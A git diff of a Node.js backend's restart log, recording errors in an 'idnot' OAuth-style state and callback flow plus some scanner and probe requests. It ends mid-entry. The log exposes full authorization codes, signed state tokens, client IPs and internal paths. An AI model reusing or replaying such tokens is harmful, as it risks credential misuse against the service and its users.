{ - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://dev4.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758716228996_kiheo6j0v' -} -❌ [ERROR] 2025-09-24T12:17:08.997Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758716228996_kiheo6j0v', - response: { - statusCode: 500 - } -} -❌ [ERROR] 2025-09-24T12:18:01.137Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://dev4.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758716281136_8tkgkj46g' -} -❌ [ERROR] 2025-09-24T12:18:01.137Z HTTP POST /api/v1/idnot/state - 500 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758716281136_8tkgkj46g', - response: { - statusCode: 500 - } -} -❌ [ERROR] 2025-09-24T12:22:16.688Z Unhandled error -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - message: 'next_url host not allowed', - name: 'Error', - stack: 'Error: next_url host not allowed\n' + - ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + - ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters - }, - request: { - body: { - next_url: 'https://dev4.4nkweb.com/authorized-client' - }, - ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', + method: 'HEAD', + url: '/authorized-client?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu24p1Z5BvQc_29RVrF8CKkZhjKsvXLxN9cUISi34ZVArPLYyM01CYe3Uz5NGYg8xS5yzwP2JHkO-jUXIgHEIvZh0tHXACthl0LW1SZ2oZDvMNzOsutgMM6K51SOkgdQaE73YL4T'... 652 more characters, userAgent: 'curl/7.74.0' }, - requestId: 'req_1758716536666_mh3vj7or9' + requestId: 'req_1758744738283_abyo6gg8a' } -❌ [ERROR] 2025-09-24T12:22:16.697Z HTTP POST /api/v1/idnot/state - 500 +❌ [ERROR] 2025-09-24T20:12:18.287Z HTTP HEAD /authorized-client?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu24p1Z5BvQc_29RVrF8CKkZhjKsvXLxN9cUISi34ZVArPLYyM01CYe3Uz5NGYg8xS5yzwP2JHkO-jUXIgHEIvZh0tHXACthl0LW1SZ2oZDvMNzOsutgMM6K51SOkgdQaE73YL4TaMD7xemsEvduXR31EoturtACt49vF2_UMcEcUawDDGuuzRobwEpsiMbCP92fc_9i_TRlEwB-1Zx4wP0R4Gv_J0S544ceyPhEMFZcQN0Xn2fkpdpyd27_c3tUug-AENpFit25EBfy6dk2JyifWaKGLJVqqTjzemNbcGtw6Cx-xE8_Warl3MjVks0eRDpnHSzPWKvNfceCr82W7j_19OodAZk8yMSOA4PPeeyytvL5AG_iHklhQ7z3YnP3XrKbIYWMeRFwvSlrHUe5ubEKwma24OlK269veQW_4R1mokvl9iNgFt6xQ8T398SQend9AdAEC75WKl0PKFraVI69jyF1DoqzQrZKqESsk1oLpvSLYslklSNQKsKB8cxx4qz2H_HPlf0izqhwlu_Kyn_WHhMcqxvNSGGdZ2en_dT2nweT3Q8kEXN1mItZIZugSIU&state=eyJuZXh0X3VybCI6Imh0dHBzOi8vZGV2NC40bmt3ZWIuY29tL2F1dGhvcml6ZWQtY2xpZW50Iiwibm9uY2UiOiJjOGYwYTliNWQxMDE0NmRkNThlZGQ4NDk1ZjBlNjM2YSIsInRzIjoxNzU4NzQ0NDgyOTQwfQ.TsvjFvbs3N72YvzsHv2aapYyyn2M8kxPZgDbZz9AY6M - 500 ──────────────────────────────────────────────────────────────────────────────── { - duration: 23, + duration: 4, request: { ip: '::ffff:127.0.0.1', - method: 'POST', - url: '/api/v1/idnot/state', + method: 'HEAD', + url: '/authorized-client?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu24p1Z5BvQc_29RVrF8CKkZhjKsvXLxN9cUISi34ZVArPLYyM01CYe3Uz5NGYg8xS5yzwP2JHkO-jUXIgHEIvZh0tHXACthl0LW1SZ2oZDvMNzOsutgMM6K51SOkgdQaE73YL4T'... 652 more characters, userAgent: 'curl/7.74.0' }, - requestId: 'req_1758716536666_mh3vj7or9', + requestId: 'req_1758744738283_abyo6gg8a', response: { statusCode: 500 } } -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback', - method: 'GET', - query: { - code_present: false, - code_length: undefined, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '46.101.140.177', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-24T12:24:04.384Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: undefined - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' - }, - requestId: 'req_1758716644366_bnu82xuil' -} -❌ [ERROR] 2025-09-24T12:24:04.399Z HTTP GET /idnot/callback - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 28, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36' - }, - requestId: 'req_1758716644366_bnu82xuil', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-24T12:27:06.661Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758716826659_t41xdd94h', - response: { - statusCode: 404 - } -} diff --git a/logs/restart.out b/logs/restart.out index 5fbf1a5..68ebdca 100644 --- a/logs/restart.out +++ b/logs/restart.out @@ -1203,3 +1203,513 @@ Full error response: { statusCode: 404 } } +❌ [ERROR] 2025-09-24T17:58:50.907Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.135.193.100', + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758736730906_xweatbeqz', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T18:00:42.909Z HTTP GET /login - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.135.193.2', + method: 'GET', + url: '/login', + userAgent: 'Go-http-client/1.1' + }, + requestId: 'req_1758736842908_zy8a61gqp', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T18:21:19.283Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:147.185.132.237', + method: 'GET', + url: '/', + userAgent: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity' + }, + requestId: 'req_1758738079283_ci8s024y3', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T18:52:23.166Z HTTP POST /goform/set_LimitClient_cfg - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:45.38.44.221', + method: 'POST', + url: '/goform/set_LimitClient_cfg', + userAgent: 'Go-http-client/1.1' + }, + requestId: 'req_1758739943165_4tad055bn', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T19:04:01.682Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758740641682_1qyliw16m', + response: { + statusCode: 404 + } +} +ℹ️ [INFO] 2025-09-24T19:47:39.195Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 24, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758743259169_04zofp77h', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-24T19:51:07.426Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758743467423_vhtqtkb72', + response: { + statusCode: 200 + } +} +ℹ️ [INFO] 2025-09-24T19:55:24.873Z HTTP GET /health - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::1', + method: 'GET', + url: '/health', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758743724872_7nfne5fk3', + response: { + statusCode: 200 + } +} +❌ [ERROR] 2025-09-24T20:05:19.521Z HTTP GET /authorized-client?code=test&state=test - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::1', + method: 'GET', + url: '/authorized-client?code=test&state=test', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758744319519_8om4iuizj', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T20:06:43.034Z HTTP HEAD /authorized-client?code=TEST - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'HEAD', + url: '/authorized-client?code=TEST', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758744403032_3iqn2nyrw', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T20:06:58.587Z HTTP GET /authorized-client?code=TEST&state=TEST - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::1', + method: 'GET', + url: '/authorized-client?code=TEST&state=TEST', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758744418586_g1x489vnv', + response: { + statusCode: 404 + } +} +ℹ️ [INFO] 2025-09-24T20:07:26.264Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758744446262_6jelr4chm', + response: { + statusCode: 200 + } +} +❌ [ERROR] 2025-09-24T20:07:28.093Z HTTP GET /authorized-client?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu24p1Z5BvQc_29RVrF8CKkZFwG9sv1paP7hq-p73VzVibaazlrnBySRkzrrY-_j4BBz8TFTM-2HUF4j8XGUDkSav8JoyMvkbIfak5Mex2ccAUMQpCe4gYwmOSy5esqJi_Omql5ynRuVx7BJ_uyd0B0PpibSg-ye0IsOzyG0wH3rdkWsJfvlMga3mcJbw9uyCbjtVHTxetc1L2RXRwCy5ekOYPjI8iJWZMoOCEcfEd645vrPfjio3CuZfnNnGWw60VFNezzrY18kNSbTQGQoPSsiH0FRxTahu9B0M3UsDMpQbOffqjfnJ3fGl57SOc6K5knBNeYEcygBjJqnigdlvc_A0McDnThspM_fmGM-Jr0YANGva9Ohopu4wtyAH7i0k6dr94hY9FVi35-xCN3gjDGzkONh9Kb-wRBhmVl6GESEa1ffItwqaqzEouDb81rVA2lyJ5DgP4RsyVimYEcVA81yxphQE8JFqjUwprC7PsENmYlw4BK1mfj_zFvs5oprtVIrPTNQLa8A2rbBwfkTq2Nk91fGYyqzL01HddnEoMsCeiREEMjGNCzyD5aLJOWBTUk&state=eyJuZXh0X3VybCI6Imh0dHBzOi8vZGV2NC40bmt3ZWIuY29tL2F1dGhvcml6ZWQtY2xpZW50Iiwibm9uY2UiOiI5YzI2MzQ2MTY2NmZiMjgwNDc4MGM4YzEyZmYxNzRkZiIsInRzIjoxNzU4NzQ0NDQ2MjYzfQ.mWSg_oJyoQZ-1aB0rea6055vheA6ELVKQhG5SM9iISc - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 8, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/authorized-client?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu24p1Z5BvQc_29RVrF8CKkZFwG9sv1paP7hq-p73VzVibaazlrnBySRkzrrY-_j4BBz8TFTM-2HUF4j8XGUDkSav8JoyMvkbIfak5Mex2ccAUMQpCe4gYwmOSy5esqJi_Omql5y'... 652 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758744448085_bq0fvn8sp', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '212.133.41.15', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-24T20:07:47.151Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758744467148_wngnbmzi3' +} +❌ [ERROR] 2025-09-24T20:07:47.152Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 4, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758744467148_wngnbmzi3', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', + method: 'GET', + query: { + code_present: true, + code_length: 619, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '212.133.41.15', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-24T20:07:58.962Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758744478961_x2g3a0foh' +} +❌ [ERROR] 2025-09-24T20:07:58.962Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758744478961_x2g3a0foh', + response: { + statusCode: 400 + } +} +ℹ️ [INFO] 2025-09-24T20:08:02.941Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758744482939_rvmusmxkz', + response: { + statusCode: 200 + } +} +❌ [ERROR] 2025-09-24T20:08:19.518Z HTTP GET /authorized-client?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu24p1Z5BvQc_29RVrF8CKkZhjKsvXLxN9cUISi34ZVArPLYyM01CYe3Uz5NGYg8xS5yzwP2JHkO-jUXIgHEIvZh0tHXACthl0LW1SZ2oZDvMNzOsutgMM6K51SOkgdQaE73YL4TaMD7xemsEvduXR31EoturtACt49vF2_UMcEcUawDDGuuzRobwEpsiMbCP92fc_9i_TRlEwB-1Zx4wP0R4Gv_J0S544ceyPhEMFZcQN0Xn2fkpdpyd27_c3tUug-AENpFit25EBfy6dk2JyifWaKGLJVqqTjzemNbcGtw6Cx-xE8_Warl3MjVks0eRDpnHSzPWKvNfceCr82W7j_19OodAZk8yMSOA4PPeeyytvL5AG_iHklhQ7z3YnP3XrKbIYWMeRFwvSlrHUe5ubEKwma24OlK269veQW_4R1mokvl9iNgFt6xQ8T398SQend9AdAEC75WKl0PKFraVI69jyF1DoqzQrZKqESsk1oLpvSLYslklSNQKsKB8cxx4qz2H_HPlf0izqhwlu_Kyn_WHhMcqxvNSGGdZ2en_dT2nweT3Q8kEXN1mItZIZugSIU&state=eyJuZXh0X3VybCI6Imh0dHBzOi8vZGV2NC40bmt3ZWIuY29tL2F1dGhvcml6ZWQtY2xpZW50Iiwibm9uY2UiOiJjOGYwYTliNWQxMDE0NmRkNThlZGQ4NDk1ZjBlNjM2YSIsInRzIjoxNzU4NzQ0NDgyOTQwfQ.TsvjFvbs3N72YvzsHv2aapYyyn2M8kxPZgDbZz9AY6M - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/authorized-client?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu24p1Z5BvQc_29RVrF8CKkZhjKsvXLxN9cUISi34ZVArPLYyM01CYe3Uz5NGYg8xS5yzwP2JHkO-jUXIgHEIvZh0tHXACthl0LW1SZ2oZDvMNzOsutgMM6K51SOkgdQaE73YL4T'... 652 more characters, + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' + }, + requestId: 'req_1758744499517_c3j6brbrz', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T20:09:49.093Z HTTP GET 